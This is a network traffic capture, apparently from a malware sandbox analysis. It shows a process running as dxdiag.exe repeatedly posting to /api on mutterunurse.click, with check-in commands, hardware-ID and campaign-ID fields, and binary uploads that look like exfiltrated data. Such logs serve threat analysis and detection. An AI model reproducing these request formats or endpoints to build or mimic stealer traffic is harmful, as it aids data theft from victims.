2025-01-13 07:34:25 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: mutterunurse.click
2025-01-13 07:34:25 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2025-01-13 07:34:25 UTC	1125	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 07:34:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qt7l0t46908etvpsk7llc72r9n; expires=Fri, 09 May 2025 01:21:04 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ktAWFyymOeahvAVL5lJskQB6Xo%2Bukf2wJhQSlpDAndnrQKi5scOmzOIRs9W8nDUqJH8KOTfRPsI1uaeA2d9b7TCXzJul5AxEU1oK10OFaWw7y29jhv0WRIgcsb6J2ZfkazOdp%2Bw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013b4270aeb238a-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1862&min_rtt=1839&rtt_var=706&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=909&delivery_rate=1587819&cwnd=173&unsent_bytes=0&cid=0f07bbf910d1dd8a&ts=549&x=0"
2025-01-13 07:34:25 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2025-01-13 07:34:25 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49722	104.21.90.18	443	5392	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 07:34:26 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 45 Host: mutterunurse.click
2025-01-13 07:34:26 UTC	45	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 78 4d 6e 4c 71 37 2d 2d 52 4c 43 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=xMnLq7--RLC&j=
2025-01-13 07:34:26 UTC	1127	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 07:34:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=9cjq0vntkd808jn3ubf1gqdmm6; expires=Fri, 09 May 2025 01:21:05 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kgudxp7%2BlLngWNKyMm6H6BGy31Z3IcLdZ2fvKnDizopS0ODbVnaGLT9MmPExZyCd2KYkYYf7OREn64EvZoDuvQoPu%2FO3AdQw58V8pmFFFOzPCsv6IMZ4zqV2U%2FW8SFHYZeWWflI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013b42e3e1c0f9d-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1491&min_rtt=1489&rtt_var=563&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2846&recv_bytes=947&delivery_rate=1937624&cwnd=193&unsent_bytes=0&cid=d12e0ebf907e94d6&ts=504&x=0"
2025-01-13 07:34:26 UTC	242	IN	Data Raw: 63 34 34 0d 0a 68 63 2b 50 38 62 41 66 62 59 41 59 49 6e 62 36 4c 57 33 62 6a 72 61 41 4e 34 56 59 6e 37 53 39 4a 62 2f 4b 32 42 4e 74 54 31 48 2b 37 66 6e 54 69 69 74 42 6f 6d 74 48 56 4d 42 5a 48 36 37 72 6d 71 4a 57 34 58 71 6c 30 74 78 4a 7a 4b 2f 30 4d 52 73 69 63 37 2b 70 37 70 33 44 65 6b 47 69 66 56 70 55 77 48 59 57 2b 65 76 59 6f 67 32 6e 50 66 58 57 33 45 6e 64 71 37 4e 38 48 53 4d 79 37 61 50 6f 6d 64 56 38 43 65 46 30 54 78 4f 66 53 41 79 78 34 4e 2f 74 58 2b 68 36 73 35 62 59 58 35 33 77 2b 6c 34 49 4f 7a 44 49 72 76 79 61 6b 6d 4a 42 2b 7a 70 48 47 4e 67 58 54 37 72 72 31 4f 78 52 34 54 50 33 33 4e 56 42 33 4b 36 79 59 77 51 70 4f 65 32 74 36 35 6a 66 64 52 33 73 66 6b 67 59 6d 55 49 4d 2b 61 4b 55 35 Data Ascii: c44hc+P8bAfbYAYInb6LW3bjraAN4VYn7S9Jb/K2BNtT1H+7fnTiitBomtHVMBZH67rmqJW4Xql0txJzK/0MRsic7+p7p3DekGifVpUwHYW+evYog2nPfXW3Endq7N8HSMy7aPomdV8CeF0TxOfSAyx4N/tX+h6s5bYX53w+l4IOzDIrvyakmJB+zpHGNgXT7rr1OxR4TP33NVB3K6yYwQpOe2t65jfdR3sfkgYmUIM+aKU5
2025-01-13 07:34:26 UTC	1369	IN	Data Raw: 55 32 6e 59 72 32 46 37 55 54 4d 75 61 39 38 48 79 74 7a 2b 4f 50 30 30 39 56 78 54 37 6f 36 53 42 69 57 53 67 79 32 36 39 58 69 52 2b 67 36 2f 74 37 58 51 39 65 6e 74 58 34 42 4a 7a 54 76 70 4f 71 63 31 58 55 4a 37 58 6b 41 57 74 68 49 46 2f 6d 30 6c 4d 4a 46 35 44 6e 70 32 38 34 48 77 75 61 6a 4d 51 67 68 63 37 2f 74 36 35 33 54 63 41 2f 77 63 6b 73 66 6e 56 30 45 73 4f 48 5a 34 6c 6a 74 4e 66 37 57 32 45 33 58 70 37 42 31 41 69 41 31 35 36 32 74 33 5a 4a 36 46 36 49 69 41 44 65 64 58 77 69 31 2b 70 62 59 46 66 68 30 35 4a 62 59 53 35 33 77 2b 6e 6b 4b 4c 6a 44 73 6f 75 36 62 32 57 38 50 38 48 78 4e 45 59 70 4a 43 72 66 6d 31 2f 42 66 36 54 7a 2b 33 39 52 4f 32 4b 2b 2b 4d 55 46 74 4e 50 2f 74 74 64 50 7a 63 41 54 75 63 46 63 55 32 46 42 42 6f 4b 7a 54 Data Ascii: U2nYr2F7UTMua98Hytz+OP009VxT7o6SBiWSgy269XiR+g6/t7XQ9entX4BJzTvpOqc1XUJ7XkAWthIF/m0lMJF5Dnp284HwuajMQghc7/t653TcA/wcksfnV0EsOHZ4ljtNf7W2E3Xp7B1AiA1562t3ZJ6F6IiADedXwi1+pbYFfh05JbYS53w+nkKLjDsou6b2W8P8HxNEYpJCrfm1/Bf6Tz+39RO2K++MUFtNP/ttdPzcATucFcU2FBBoKzT
2025-01-13 07:34:26 UTC	1369	IN	Data Raw: 7a 79 32 39 4d 48 6b 2b 69 39 61 55 39 31 63 38 32 75 2b 5a 44 59 50 7a 72 68 64 45 34 54 6a 67 38 51 39 2f 57 55 35 56 6d 6e 59 72 33 62 33 6b 2f 62 75 72 56 38 44 43 4d 39 36 4b 6a 69 6d 39 4a 39 41 75 64 2b 53 78 2b 62 51 67 75 72 35 74 54 71 55 4f 59 77 39 35 61 52 42 39 71 77 2b 69 6c 50 48 43 54 73 37 39 69 51 33 48 4d 49 39 44 70 66 57 6f 45 50 43 4c 57 73 6a 4b 4a 59 37 7a 2f 34 32 64 35 4e 30 36 32 77 66 51 63 6a 4d 50 57 69 36 5a 50 65 64 51 58 76 64 45 51 63 6b 55 51 45 76 2b 7a 56 36 42 57 70 65 76 72 4f 6e 78 2b 64 6e 4c 31 39 41 69 4a 78 30 71 37 6a 6e 64 56 72 54 2f 30 30 57 56 53 66 51 30 2f 68 72 4e 6a 72 56 65 77 77 2b 64 62 59 53 74 69 72 76 58 49 43 4b 6a 6e 70 71 75 6d 66 32 33 41 4a 34 6e 31 45 45 59 70 4b 42 72 58 67 6c 4b 77 56 34 Data Ascii: zy29MHk+i9aU91c82u+ZDYPzrhdE4Tjg8Q9/WU5VmnYr3b3k/burV8DCM96Kjim9J9Aud+Sx+bQgur5tTqUOYw95aRB9qw+ilPHCTs79iQ3HMI9DpfWoEPCLWsjKJY7z/42d5N062wfQcjMPWi6ZPedQXvdEQckUQEv+zV6BWpevrOnx+dnL19AiJx0q7jndVrT/00WVSfQ0/hrNjrVeww+dbYStirvXICKjnpqumf23AJ4n1EEYpKBrXglKwV4
2025-01-13 07:34:26 UTC	167	IN	Data Raw: 47 42 39 71 6b 2b 69 6c 50 4a 44 72 31 6f 2b 4f 61 33 33 73 48 35 58 52 4e 48 35 35 45 43 4c 37 71 32 65 70 59 34 6a 6e 38 30 74 56 56 33 71 4f 77 66 41 56 74 66 61 65 71 39 64 4f 4b 50 53 6a 75 55 31 41 50 69 6c 6c 50 70 71 4c 4e 6f 6c 4c 72 65 71 57 57 33 45 6a 55 70 37 4a 35 41 43 49 33 36 61 76 72 6e 74 64 79 42 66 42 79 54 68 6d 54 51 41 53 72 37 4e 6e 6d 57 65 4d 79 39 74 79 66 43 5a 32 76 6f 6a 46 58 62 51 62 71 6f 75 32 51 78 44 30 51 72 47 4d 41 45 35 51 50 56 2f 6e 67 32 75 4a 61 0d 0a Data Ascii: GB9qk+ilPJDr1o+Oa33sH5XRNH55ECL7q2epY4jn80tVV3qOwfAVtfaeq9dOKPSjuU1APillPpqLNolLreqWW3EjUp7J5ACI36avrntdyBfByThmTQASr7NnmWeMy9tyfCZ2vojFXbQbqou2QxD0QrGMAE5QPV/ng2uJa
2025-01-13 07:34:26 UTC	1369	IN	Data Raw: 33 64 35 30 0d 0a 36 7a 62 32 33 74 35 4c 30 36 2b 2f 65 41 63 6c 49 65 61 70 35 5a 4c 63 63 67 37 6d 66 30 55 51 6e 30 73 4a 74 71 79 61 6f 6c 4c 2f 65 71 57 57 38 47 44 6f 36 70 74 4c 54 7a 4a 39 2f 75 33 71 6e 35 49 6c 54 2b 35 35 54 42 79 58 53 51 61 31 35 74 33 70 57 65 77 2b 38 64 2f 61 51 64 79 74 76 33 41 4c 49 54 6e 68 72 75 36 63 33 58 49 48 6f 6a 51 41 45 34 41 50 56 2f 6e 4a 77 2b 6c 62 34 58 72 69 6d 4d 59 48 32 71 54 36 4b 55 38 68 4f 75 47 72 36 4a 2f 54 65 77 66 6e 63 6b 51 56 6e 6b 6b 4d 74 75 6a 52 34 31 72 6a 4e 76 50 63 33 6b 62 52 6f 37 56 36 43 6d 31 39 70 36 72 31 30 34 6f 39 50 75 46 73 56 77 53 55 44 78 44 33 39 5a 54 6c 57 61 64 69 76 64 66 4e 54 64 65 6d 76 33 34 4b 4c 6a 7a 67 6f 4f 75 66 32 48 51 48 35 48 56 4a 42 70 74 44 41 Data Ascii: 3d506zb23t5L06+/eAclIeap5ZLccg7mf0UQn0sJtqyaolL/eqWW8GDo6ptLTzJ9/u3qn5IlT+55TByXSQa15t3pWew+8d/aQdytv3ALITnhru6c3XIHojQAE4APV/nJw+lb4XrimMYH2qT6KU8hOuGr6J/TewfnckQVnkkMtujR41rjNvPc3kbRo7V6Cm19p6r104o9PuFsVwSUDxD39ZTlWadivdfNTdemv34KLjzgoOuf2HQH5HVJBptDA
2025-01-13 07:34:26 UTC	1369	IN	Data Raw: 76 56 66 55 31 2b 74 48 57 54 4d 2b 69 76 58 59 45 4a 54 6a 6f 71 2f 2b 66 33 47 38 4b 38 47 67 41 57 74 68 49 46 2f 6d 30 6c 4e 52 53 39 79 72 2b 6c 4f 35 52 33 72 36 78 66 41 4e 74 4c 4b 6d 30 72 5a 54 65 50 56 65 69 66 45 38 64 6d 30 41 4f 73 4f 44 5a 35 31 7a 69 4f 2f 76 53 31 55 33 64 72 72 78 77 43 69 63 77 35 71 66 6b 6c 4e 70 36 44 50 41 36 44 6c 53 66 56 30 2f 68 72 50 33 6c 52 2b 6b 71 76 63 6d 52 58 70 32 76 74 6a 46 58 62 54 66 74 6f 75 6d 55 33 6e 73 4b 35 48 64 42 47 35 6c 50 41 4c 33 6e 33 65 52 55 36 6a 2f 77 30 73 31 4e 31 71 65 32 65 41 4d 67 63 36 6e 74 36 6f 75 53 4a 55 2f 54 64 30 34 61 6e 31 6c 50 70 71 4c 4e 6f 6c 4c 72 65 71 57 57 33 6b 76 53 71 37 56 79 44 43 77 35 39 62 2f 68 6d 74 70 34 41 2b 6c 30 52 67 61 65 51 41 61 36 37 39 Data Ascii: vVfU1+tHWTM+ivXYEJTjoq/+f3G8K8GgAWthIF/m0lNRS9yr+lO5R3r6xfANtLKm0rZTePVeifE8dm0AOsODZ51ziO/vS1U3drrxwCicw5qfklNp6DPA6DlSfV0/hrP3lR+kqvcmRXp2vtjFXbTftoumU3nsK5HdBG5lPAL3n3eRU6j/w0s1N1qe2eAMgc6nt6ouSJU/Td04an1lPpqLNolLreqWW3kvSq7VyDCw59b/hmtp4A+l0RgaeQAa679
2025-01-13 07:34:26 UTC	1369	IN	Data Raw: 64 4c 33 48 32 46 61 64 38 4b 78 68 47 43 6f 73 71 62 53 74 6c 4e 34 39 56 36 4a 38 53 52 4b 66 53 51 47 72 36 64 4c 74 57 75 34 7a 2b 64 37 63 52 39 6d 73 76 58 51 4d 49 54 6a 67 72 75 4b 58 32 33 4d 47 37 54 6f 4f 56 4a 39 58 54 2b 47 73 39 66 6c 57 36 7a 65 39 79 5a 46 65 6e 61 2b 32 4d 56 64 74 50 2b 6d 6f 37 5a 6e 55 65 51 72 6b 63 45 55 55 6b 30 77 41 76 65 72 51 37 56 58 73 4d 2f 7a 51 32 6b 33 57 72 72 64 79 43 53 74 7a 71 65 33 71 69 35 49 6c 54 38 4a 68 54 52 69 66 44 78 44 33 39 5a 54 6c 57 61 64 69 76 64 33 54 51 39 71 6f 74 33 49 48 4b 44 66 74 71 4f 32 62 77 48 55 50 35 57 68 53 46 4a 46 4b 41 37 72 73 30 4f 52 63 34 54 6e 35 6c 70 45 48 32 72 44 36 4b 55 38 41 50 2b 43 45 36 6f 69 53 59 6b 48 37 4f 6b 63 59 32 42 64 50 75 4f 66 65 37 56 6a Data Ascii: dL3H2Fad8KxhGCosqbStlN49V6J8SRKfSQGr6dLtWu4z+d7cR9msvXQMITjgruKX23MG7ToOVJ9XT+Gs9flW6ze9yZFena+2MVdtP+mo7ZnUeQrkcEUUk0wAverQ7VXsM/zQ2k3WrrdyCStzqe3qi5IlT8JhTRifDxD39ZTlWadivd3TQ9qot3IHKDftqO2bwHUP5WhSFJFKA7rs0ORc4Tn5lpEH2rD6KU8AP+CE6oiSYkH7OkcY2BdPuOfe7Vj
2025-01-13 07:34:26 UTC	1369	IN	Data Raw: 74 34 48 68 5a 47 6a 4d 52 6c 74 61 37 58 6a 72 59 47 53 4a 55 2b 6c 65 56 49 47 6e 6b 77 5a 75 71 76 71 33 48 4c 78 4d 50 72 47 32 46 44 53 36 50 51 78 41 47 31 72 33 75 33 6b 6c 4d 6c 73 47 65 39 71 52 31 53 6e 41 55 2b 68 72 49 79 69 59 4f 51 30 38 39 48 4a 56 70 43 50 72 48 73 49 50 54 54 77 6f 71 33 64 6b 6e 74 50 75 69 6b 4f 56 4a 78 65 54 2b 47 38 68 72 6b 41 74 47 32 74 68 4d 41 4a 78 4f 69 73 4d 56 64 2f 66 61 65 2f 72 63 75 53 4f 67 7a 77 61 45 59 58 6a 6b 78 49 68 39 4c 7a 2b 46 6a 68 4c 65 7a 6f 34 55 44 48 70 62 78 6d 48 6d 45 6d 35 4b 50 6a 6c 4d 51 39 51 61 4a 31 41 45 79 68 44 30 66 35 30 35 71 69 54 61 64 69 76 65 50 63 53 64 4f 76 72 47 42 43 43 69 6e 71 71 2f 71 43 6b 6a 4e 50 35 44 6f 59 52 74 59 50 43 36 69 73 6a 4c 49 48 76 47 2b 75 Data Ascii: t4HhZGjMRlta7XjrYGSJU+leVIGnkwZuqvq3HLxMPrG2FDS6PQxAG1r3u3klMlsGe9qR1SnAU+hrIyiYOQ089HJVpCPrHsIPTTwoq3dkntPuikOVJxeT+G8hrkAtG2thMAJxOisMVd/fae/rcuSOgzwaEYXjkxIh9Lz+FjhLezo4UDHpbxmHmEm5KPjlMQ9QaJ1AEyhD0f505qiTadivePcSdOvrGBCCinqq/qCkjNP5DoYRtYPC6isjLIHvG+u
2025-01-13 07:34:26 UTC	1369	IN	Data Raw: 4c 6f 34 6b 68 50 5a 58 50 59 34 36 32 4c 6b 69 56 50 31 33 6c 4f 47 70 39 5a 48 76 54 45 39 39 68 76 70 52 62 36 77 35 31 7a 32 72 69 72 65 67 49 68 63 36 6e 74 36 39 4f 4b 4c 55 47 69 66 6c 46 55 77 42 39 64 34 72 6d 48 74 51 57 31 4a 62 50 50 6e 31 47 64 38 4f 67 2f 54 7a 39 7a 76 2b 32 71 6b 4d 42 76 43 65 46 73 51 31 4f 6d 63 53 69 33 36 39 58 30 52 66 41 31 77 2b 6a 4b 52 4e 4f 6d 76 57 63 65 62 58 32 6e 6f 71 33 4c 36 7a 31 48 6f 6b 55 4f 56 49 41 50 56 2f 6e 5a 31 2b 78 62 34 43 7a 73 6d 2f 68 4a 32 71 6d 73 59 52 67 69 63 36 6e 74 36 39 4f 4b 4c 30 47 69 66 6c 46 55 77 42 39 64 34 72 6d 48 74 51 57 31 4a 62 50 50 6e 31 47 64 38 4f 67 2f 54 7a 39 7a 76 2b 32 71 6b 4d 42 76 43 65 46 73 51 31 4f 6d 63 53 69 33 36 39 58 30 52 66 41 31 73 76 6a 70 5a Data Ascii: Lo4khPZXPY462LkiVP13lOGp9ZHvTE99hvpRb6w51z2riregIhc6nt69OKLUGiflFUwB9d4rmHtQW1JbPPn1Gd8Og/Tz9zv+2qkMBvCeFsQ1OmcSi369X0RfA1w+jKRNOmvWcebX2noq3L6z1HokUOVIAPV/nZ1+xb4Czsm/hJ2qmsYRgic6nt69OKL0GiflFUwB9d4rmHtQW1JbPPn1Gd8Og/Tz9zv+2qkMBvCeFsQ1OmcSi369X0RfA1svjpZ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49723	104.21.90.18	443	5392	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 07:34:27 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=BDLB8W6B9SBZA User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12803 Host: mutterunurse.click
2025-01-13 07:34:27 UTC	12803	OUT	Data Raw: 2d 2d 42 44 4c 42 38 57 36 42 39 53 42 5a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 32 35 46 45 31 38 44 31 37 41 36 38 41 33 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 42 44 4c 42 38 57 36 42 39 53 42 5a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 42 44 4c 42 38 57 36 42 39 53 42 5a 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 4d 6e 4c 71 37 2d 2d 52 4c 43 0d 0a 2d 2d 42 44 4c 42 38 57 36 42 39 53 42 5a 41 Data Ascii: --BDLB8W6B9SBZAContent-Disposition: form-data; name="hwid"AD25FE18D17A68A323D904AF30EFEBBC--BDLB8W6B9SBZAContent-Disposition: form-data; name="pid"2--BDLB8W6B9SBZAContent-Disposition: form-data; name="lid"xMnLq7--RLC--BDLB8W6B9SBZA
2025-01-13 07:34:28 UTC	1138	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 07:34:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pq3ug9aqmeclpo89ftk010u4se; expires=Fri, 09 May 2025 01:21:06 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=LYhMdTcWx5a9cNKe65w6OARlgKoA7ULEGNJ19G6uO5uhjQZU20r%2BBC5NXvTZMiwaeRVv0lKFMN%2BAuIgf5QIc%2BskGnd1iuv7D17anlDmQNZ%2F3qwOncYYK5aINU%2BAR4%2Bez98HeD%2FY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013b435eca7440c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2185&min_rtt=2174&rtt_var=838&sent=8&recv=16&lost=0&retrans=0&sent_bytes=2846&recv_bytes=13740&delivery_rate=1288045&cwnd=252&unsent_bytes=0&cid=2494d1279173973e&ts=953&x=0"
2025-01-13 07:34:28 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-13 07:34:28 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49725	104.21.90.18	443	5392	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 07:34:29 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=2FNUTFDGJXUM0GLQY User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 15069 Host: mutterunurse.click
2025-01-13 07:34:29 UTC	15069	OUT	Data Raw: 2d 2d 32 46 4e 55 54 46 44 47 4a 58 55 4d 30 47 4c 51 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 32 35 46 45 31 38 44 31 37 41 36 38 41 33 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 32 46 4e 55 54 46 44 47 4a 58 55 4d 30 47 4c 51 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 32 46 4e 55 54 46 44 47 4a 58 55 4d 30 47 4c 51 59 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 4d 6e 4c 71 37 2d 2d 52 4c 43 0d 0a 2d 2d 32 Data Ascii: --2FNUTFDGJXUM0GLQYContent-Disposition: form-data; name="hwid"AD25FE18D17A68A323D904AF30EFEBBC--2FNUTFDGJXUM0GLQYContent-Disposition: form-data; name="pid"2--2FNUTFDGJXUM0GLQYContent-Disposition: form-data; name="lid"xMnLq7--RLC--2
2025-01-13 07:34:29 UTC	1135	IN	HTTP/1.1 200 OK Date: Mon, 13 Jan 2025 07:34:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=52j41hd08kh26imubv2e4lo92k; expires=Fri, 09 May 2025 01:21:08 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E64c0hsHxuY2q7YxQ7k7Oexzew7G3%2Bfbbv4YOv2ertCUPw3XUyd6%2BWVXpdspUvP%2Bm46of27e6yuZpN220A3cf2Y7pS1RvS%2FK0wWZNQcKCtDOeY4M7dJOclTB8NvdEJS%2FkOtzsrE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 9013b44218ab424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2472&min_rtt=2466&rtt_var=937&sent=10&recv=20&lost=0&retrans=0&sent_bytes=2846&recv_bytes=16010&delivery_rate=1160111&cwnd=249&unsent_bytes=0&cid=2ed4f2e3b858ff9c&ts=514&x=0"
2025-01-13 07:34:29 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 0d 0a Data Ascii: fok 8.46.123.189
2025-01-13 07:34:29 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49731	104.21.90.18	443	5392	C:\Windows\SysWOW64\dxdiag.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-13 07:34:30 UTC	281	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=9XHRDZBQH6NW90G User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20547 Host: mutterunurse.click
2025-01-13 07:34:30 UTC	15331	OUT	Data Raw: 2d 2d 39 58 48 52 44 5a 42 51 48 36 4e 57 39 30 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 44 32 35 46 45 31 38 44 31 37 41 36 38 41 33 32 33 44 39 30 34 41 46 33 30 45 46 45 42 42 43 0d 0a 2d 2d 39 58 48 52 44 5a 42 51 48 36 4e 57 39 30 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 39 58 48 52 44 5a 42 51 48 36 4e 57 39 30 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 78 4d 6e 4c 71 37 2d 2d 52 4c 43 0d 0a 2d 2d 39 58 48 52 44 5a 42 Data Ascii: --9XHRDZBQH6NW90GContent-Disposition: form-data; name="hwid"AD25FE18D17A68A323D904AF30EFEBBC--9XHRDZBQH6NW90GContent-Disposition: form-data; name="pid"3--9XHRDZBQH6NW90GContent-Disposition: form-data; name="lid"xMnLq7--RLC--9XHRDZB
2025-01-13 07:34:30 UTC	5216	OUT	Data Raw: 68 27 0c 46 c7 33 b7 ee 57 14 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 75 6e 20 0a e6 d6 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 ce 0d 46 c1 dc ba 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d6 b9 81 28 98 5b f7 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 3a 37 18 05 73 eb 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 e7 06 a2 60 6e dd 4f 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 